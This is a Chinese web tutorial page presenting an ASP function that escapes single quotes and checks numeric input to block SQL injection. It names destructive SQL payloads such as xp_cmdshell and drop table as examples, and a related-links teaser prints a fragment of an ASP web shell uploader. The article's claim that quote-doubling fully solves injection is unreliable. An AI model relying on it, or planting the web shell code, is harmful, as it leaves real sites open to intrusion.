一个asp函数解决SQL Injection漏洞

2016-01-29 18:49 9 1 收藏

一个asp函数解决SQL Injection漏洞,一个asp函数，解决SQL Injection漏洞

【 tulaoshi.com - ASP 】

/**
作者：慈勤强
Email： cqq1978@Gmail.com
*/

函数很简单，主要是针对字符串和数字两种类型的传入数据分别进行了处理，具体用法：

字符类型的
strUsername = CheckInput(Request(“username“),“s“)
数字类型的
ID = CheckInput(Request(“id“),“i“)

下面是函数

Function CheckInput(str,strType)
   '函数功能：过滤字符参数中的单引号，对于数字参数进行判断，如果不是数值类型，则赋值0
   '参数意义： str        ---- 要过滤的参数
   '                 strType ---- 参数类型，分为字符型和数字型，字符型为"s"，数字型为"i"
Dim strTmp
strTmp     = ""
If strType ="s" Then
strTmp = Replace(Trim(str),"'","''")
ElseIf strType="i" Then
If isNumeric(str)=False Then str="0"
strTmp = str
Else
strTmp = str
End If
CheckInput = strTmp
End Function

SQL Injection的危害是很大的，比如对于SQL Server，可以创建、删除数据库，执行系统命令等等，如drop table tbl_name, execute master.dbo.xp_cmdshell "command"所以很多人写的函数就是拼命的去过滤这些可能引起危害的关键词，比如drop ,分号,and,exe,mid等等，罗列了一大堆。

其实，尽可以不必那么繁琐，非要把简单的事情复杂化。
对于过滤，ASP中只要针对字符型和数字型分别处理就可以了，

字符型的，把单引号转换成两个单引号 strTmp = Replace(Trim(str),"'","''")
数字型的，就判断是否能够转换成数字型的，用 isNumeric函数

现在网上说的能够绕过单引号的攻击，其实是针对数字类型的,如果对于过滤了单引号的字符型，还有办法绕过，那就没得玩了........

来源:http://www.tulaoshi.com/n/20160129/1507395.html

上一篇： Photoshop教程：打造照片逼真仿手绘效果详细过程
下一篇：一个高效的数据分页的存储过程

看过《一个asp函数解决SQL Injection漏洞》的人还看了以下文章更多>>

一个ASP小马

标签： Web开发

%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h....

一个高ai的分页函数和一个url函数

标签： PHP

这个分页函数非常高只能的看看就知道了 function ppage($total, $page, $e_page = 15, $e_block = 10, $url = '', $color = '') { if(!strpos($url,'?')) $url.='?'; else $url.='&'; if($color<'') { $color ='<font color='.$color.''...

完美解决一个事件激活多个函数(2)

可是在一个页面中，我们可能会遇到有多个事件要激活多个函数，每个事件都要写一遍那样的代码，显然不是好主意。聪明的读者可能已经想到，应该写成一个函数activeMore()，哪个事件要激活多个函数的，直接就用activeMore()就行。但是在上一部分中我们把事件的toString()当作JavaScript脚步本运行，实际上是运行一段函数代码，...

asp下正则实现URL自动链接的一个函数

标签： Web开发

代码如下： Function AutoLinkURLs(strString) Dim match, matches, offset, url, email, link, relnkAutoLinkURL relnkAutoLinkURL = "a href=""[[%URL%]]""[[%URLText%]]/a" If Not IsObject(regExp) Then Set regExp = New RegExp regExp.Global = True regExp.IgnoreCase = True 'Look for URLs regExp.Pattern = "...

一个目录遍历函数

标签： Web开发

一个目录遍历函数?php function dirtree($path="./test") { echo "dl"; $d = dir($path); while(false !== ($v = $d-read())) { if($v == "." $v == "..") continue; $file = $d-path."/".$v; echo "dt$v"; if(i...

查看更多精彩>>